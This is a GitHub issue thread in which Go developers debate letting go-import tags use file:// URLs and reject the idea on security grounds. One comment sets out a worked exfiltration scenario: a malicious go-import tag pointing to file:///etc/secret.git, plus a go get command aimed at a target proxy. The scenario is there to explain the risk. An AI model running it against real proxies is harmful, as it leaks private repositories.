Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

cmd/go: allow go-import tags to point to file:// URLs #37832

Closed
perillo opened this issue Mar 12, 2020 · 32 comments
Closed

cmd/go: allow go-import tags to point to file:// URLs #37832

perillo opened this issue Mar 12, 2020 · 32 comments

Comments

@perillo
Copy link

@perillo perillo commented Mar 12, 2020

What version of Go are you using (go version)?

$ go version
go version go1.14 linux/amd64

Does this issue reproduce with the latest release?

Yes.

What operating system and processor architecture are you using (go env)?

go env Output
$ go env
GO111MODULE="on"
GOARCH="amd64"
GOBIN="/home/manlio/.local/bin"
GOCACHE="/home/manlio/.cache/go-build"
GOENV="/home/manlio/.config/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE="test.local"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/manlio/.local/lib/go:/home/manlio/src/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/lib/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/lib/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/dev/null"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build365401052=/tmp/go-build -gno-record-gcc-switches"
GOROOT/bin/go version: go version go1.14 linux/amd64
GOROOT/bin/go tool compile -V: compile version go1.14
uname -sr: Linux 5.5.8-arch1-1
/usr/lib/libc.so.6: GNU C Library (GNU libc) stable release version 2.31.
gdb --version: GNU gdb (GDB) 9.1

What did you do?

I'm writing an HTTP server that implements vanity import paths for local modules.
Given an HTTP request, it searches the module in GOPATH and return an HTML page implementing the go-get protocol, but using the file scheme instead of https.

Example:

<html>
  <head>
    <meta name="go-import"
          content="test.local/term git file:///home/manlio/src/go/src/test.local/term">
    </meta>
  </head>
</html>

go get -insecure test.local/term works correctly with go1.12 but does not work with the current version, due to https://golang.org/cl/181037.

The commit message says that the change was to add support to file:// URLs, but it actually added

	if url.Scheme == "file" {
		return errors.New("file scheme disallowed")
	}

that prevents the file scheme from working.

I have commented that code in gotip, and go get works fine.
Why disallow the file scheme? As far as I understand, the repo-root will be consumed by git, not the go tool.

@bcmills bcmills changed the title cmd/go: don't disallow the file scheme in internal/get cmd/go: allow go-import tags to point to file:// URLs Mar 13, 2020
@bcmills bcmills added this to the Backlog milestone Mar 13, 2020
@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

The CL in question enabled the use of file:// URLs as GOPROXY targets.

For go-import metadata, I think it would be reasonable to allow file:// URLs for paths matching GOINSECURE patterns, but probably not for other paths generally: a file:// URL would potentially allow an attacker to exfiltrate the contents of any local git repository on a proxy host as long as they could guess the file path to that repository.

CC @matloob @jayconrod @FiloSottile @katiehockman

@jayconrod

This comment has been minimized.

Copy link
Contributor

@jayconrod jayconrod commented Mar 13, 2020

Since you're implementing an HTTP server anyway, why not implement the GOPROXY protocol and have the go-import point to the same server instead of a git repository?

<meta name="go-import" content="test.local/term mod https://example.com/test.local/term">

A file:// URL introduces significant security issues and almost certainly won't work in direct mode.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

In fact the server is available using HTTP and not HTTPS, since, being on localhost, a trusted certificate is not necessary and I don't want to install a self signed certificate in the system.

Thanks.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

Since you're implementing an HTTP server anyway, why not implement the GOPROXY protocol

A go-import server is much simpler (and probably less resource-intensive) than a GOPROXY server.

I don't see any fundamental technical reason why a file:// URL wouldn't work in direct mode, given appropriate entries in GOPRIVATE and GOINSECURE.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

I do plan to also implement the GOPROXY protocol, but only because it is interesting and I plan to implement a custom module synthesizing function (designed for local modules, with a simple implementation), instead of using go mod download as it is done by Athens.

The advantage of a GOPROXY HTTP server is that it does not need to listen on the reserved port 80. However, as far as I know, it is not possible to tell the go tool to access the proxy via HTTP.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

I have to correct myself. The GOPROXY environment variables do include the URL scheme.
It is GOSUMDB that only has the host name; sorry.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

as far as I know, it is not possible to tell the go tool to access the proxy via HTTP.

If there is an appropriate entry in the GOINSECURE environment variable, then the go tool should fall back to HTTP after HTTPS fails.

However, there is no way to tell the go command to use a non-default port to contact the server for a given module path, and I don't think such a mechanism would be worth its complexity at this point.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

@bcmills

$ go env -w GOPROXY="https://proxy.golang.org:80,direct"
$ go get golang.org/x/mod
go get golang.org/x/mod: module golang.org/x/mod: Get "https://proxy.golang.org:80/golang.org/x/mod/@v/list": http: server gave HTTP response to HTTPS client

And with a non standard port:

$ go env -w GOPROXY="https://proxy.golang.org:8080,direct"
$ go get golang.org/x/mod
go get golang.org/x/mod: module golang.org/x/mod: Get "https://proxy.golang.org:8080/golang.org/x/mod/@v/list": dial tcp 216.58.208.145:8080: i/o timeout
@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

Port 80 should be http://, not https://.

@jayconrod

This comment has been minimized.

Copy link
Contributor

@jayconrod jayconrod commented Mar 13, 2020

I have to correct myself. The GOPROXY environment variables do include the URL scheme.
It is GOSUMDB that only has the host name; sorry.

GOSUMDB may optionally include a public key and URL. See go help module-auth.

GOSUMDB="sum.golang.org+<publickey> https://sum.golang.org"

Also, a GOPROXY may proxy the checksum database. Not sure if that's actually documented anywhere though.

@gopherbot

This comment has been minimized.

Copy link

@gopherbot gopherbot commented Mar 13, 2020

Change https://golang.org/cl/223339 mentions this issue: cmd/go/internal/get: allow file:// URLs for insecure paths

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

Posted a CL for consideration. I'm still not sure whether we want it, but behind the GOINSECURE guard it could be acceptable (if someone wants to add integration tests).

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

Thanks.

As I wrote, it would be useful for allowing the use of local private modules without having to change too many configuration files (like insteadOf in ~/.gitconfig).

With an HTTP server implementing the go-get protocol, it is only necessary to set GOINSECURE and GONOSUMDB.

As an example:

go env -w GOINSECURE="*.local" GONOSUMDB="*.local"

These variables can be automatically set by the server at startup.
The server will also ensure that the domain is a reserved TLD and that it resolves to a loopback address.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

@bcmills: what contract should try to prove the integration test?

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

@perillo, I think the go command should reject the file:// URL from the go-import metadata when GOINSECURE does not cover the module, and should accept it and download the module when GOINSECURE does cover it.

(But I'd want to get a consensus on that from the others I CC'd before actually committing to that behavior.)

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

Can you clarify the exfiltration attack you mentioned?
I'm still not sure to understand who is the attack target.

I have tried to google for exfiltration attacks against git, and found only https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10857.

Thanks.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

Also note that one can implement a custom remote protocol
https://mirrors.edge.kernel.org/pub/software/scm/git/docs/gitremote-helpers.html

So I don't think that the file protocol poses a real security problem. After all it is the owner of the repository that choose how to make it available to a remote peer.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 13, 2020

Suppose that I know (perhaps because the server's code and configuration are open-source) that a server running some GOPROXY implementation happens to have a Git repository stored at /etc/secret.git.

Then I could set up a server at example.com that responds with:

<meta name="go-import" content="example.com/evil git file:///etc/secret.git">

Then I could run GOPROXY=$TARGET go get -d example.com/evil in order to obtain the contents of that repository as seen by the proxy. (It's more-or-less equivalent to a standard directory-traversal vulnerability, but only for directories containing valid VCS repositories.)

So a public proxy generally should not follow a file:// URL obtained from a go-import tag, which means that the go command itself should not follow those URLs by default.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 13, 2020

Thanks.

Is it correct to say that this is a problem of missing validation by a server software (the GOPROXY implementation)?

The go tool is a client, so I don't think this attack is possible against it.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 16, 2020

Is it correct to say that this is a problem of missing validation by a server software (the GOPROXY implementation)?

No, that is not correct. A GOPROXY implementation should be able to use the go command unmodified in its implementation, without the need for extra validation of URLs that the go command consumes internally.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 16, 2020

Isn't this in contrast with https://golang.org/pkg/archive/zip/#FileHeader ?

Thanks.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 16, 2020

What does archive/zip have to do with it?

cmd/go fetches the go-import metadata and then the pointed-to repository without any user intervention in between those two steps. There is no opportunity for the user to do any sort of additional validation today.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 16, 2020

git config --global protocol.file.allow never.

$ go get test.local/example
go get test.local/example: module test.local/example: git ls-remote -q origin in /home/manlio/.local/lib/go/pkg/mod/cache/vcs/8716409d048022a057295e10ee0ab97459a47ddd0bf93be13bb3c78ff93e0c3b: exit status 128:
	fatal: transport 'file' not allowed
@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 19, 2020

The git config option allows users to explicitly opt-in to a more secure configuration. But that seems backwards: the secure configuration should be the default, and the less-secure configuration should be opt-in (as is the case today with GOINSECURE).

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 19, 2020

From the point of view of the user of the git command, the file protocol is secure, and it would be very inconvenient if it is not allowed.

The protocol policy was added in this commit: git/git@f1762d7

Note how the git team consider the file protocol secure. The policy also have an option to disallow protocols used without direct user intervention.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 20, 2020

I think that the problem of a Go module proxy implemented using the go tool is that it has no way to know what vcs repository is being processed. Fetching the repository is not the problem (the file scheme is considered secure by Git); the problem is returning the Go module to the user without validation.

What about updating the Info struct, adding the following fields:

 VCS      string // the vcs used to fetch the module
 RepoRoot string // the vcs repository URL used to fetch the module

Thanks

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 20, 2020

As noted earlier, there is no point of user interaction in between the go command receiving the go-import metadata and downloading the indicated repository.

The insecurity is not in the file protocol itself: it is is the transition from the http or https protocol to file, since http and https responses (unlike file data) are in general outside of the user's control.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 20, 2020

I assume that the flow of a Go proxy is

  1. proxy invokes go mod download <module>
  2. go finds the repo-root and fetches the remote repository
  3. go synthesizes the module and store it in the module cache
  4. proxy returns the cached data from the module cache to the user

The security is in 4, since when using the file scheme, the proxy may return to the user a private module.

With the additional fields in the Info struct, the proxy can check what repo-url was used and validate it.

These fields can also be used for statistical purpose.

@bcmills

This comment has been minimized.

Copy link
Member

@bcmills bcmills commented Mar 20, 2020

Yes, that is correct.

Security at step (4) requires the user to explicitly check for metadata. We want the default behavior — without checking metadata — to be secure, so step (3) must not succeed in the insecure scenario unless the user has taken explicit action to opt-in.

@FiloSottile

This comment has been minimized.

Copy link
Member

@FiloSottile FiloSottile commented Mar 21, 2020

Sorry for taking so long to respond.

The problem with this proposal is that it mixes remote and local contexts. A remote, untrusted, potentially attacker-controlled source gets to make the go client perform actions on a local resource, which would otherwise not be accessible to the attacker. That's recipe for disaster.

Beyond the proxy example @bcmills already identified, any behaviors that surface contents of a module being fetched become attacker controlled. For example if that module has some secret dependencies, they will presumably be fetched.

Gating it behind GOINSECURE is stretching the semantic of that setting. Currently, it's saying "I know the integrity and privacy of what I'm fetching won't be protected" but not "I know what I am fetching might hurt me". If you fetch something with GOINSECURE and then not execute it, it's not supposed to lead to remote code execution or information leakage.

To draw a parallel with browsers, this is the difference between HTTPS warnings (for which GOINSECURE is the equivalent bypass) and the Same Origin Policy. Note how you can't embed an <img> with a file:// URL in a page served over http://.

This will be a massive security liability, and I strongly recommend against implementing it.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Mar 21, 2020

Thanks for the response.

If file scheme will not be supported, than the documentation should be updated, since it is allowed by Git.
Also, I think it was a mistake to remove the file scheme in a completely different commit, without an explanation of the security issues.

As for my proxy, I have implemented the Git HTTP protocol, so the http scheme is now the default, with the user being able to specify file or ssh.

@perillo

This comment has been minimized.

Copy link
Author

@perillo perillo commented Apr 6, 2020

I think this issue can be closed.

Thanks.

@jayconrod jayconrod closed this Apr 6, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
5 participants
You can’t perform that action at this time.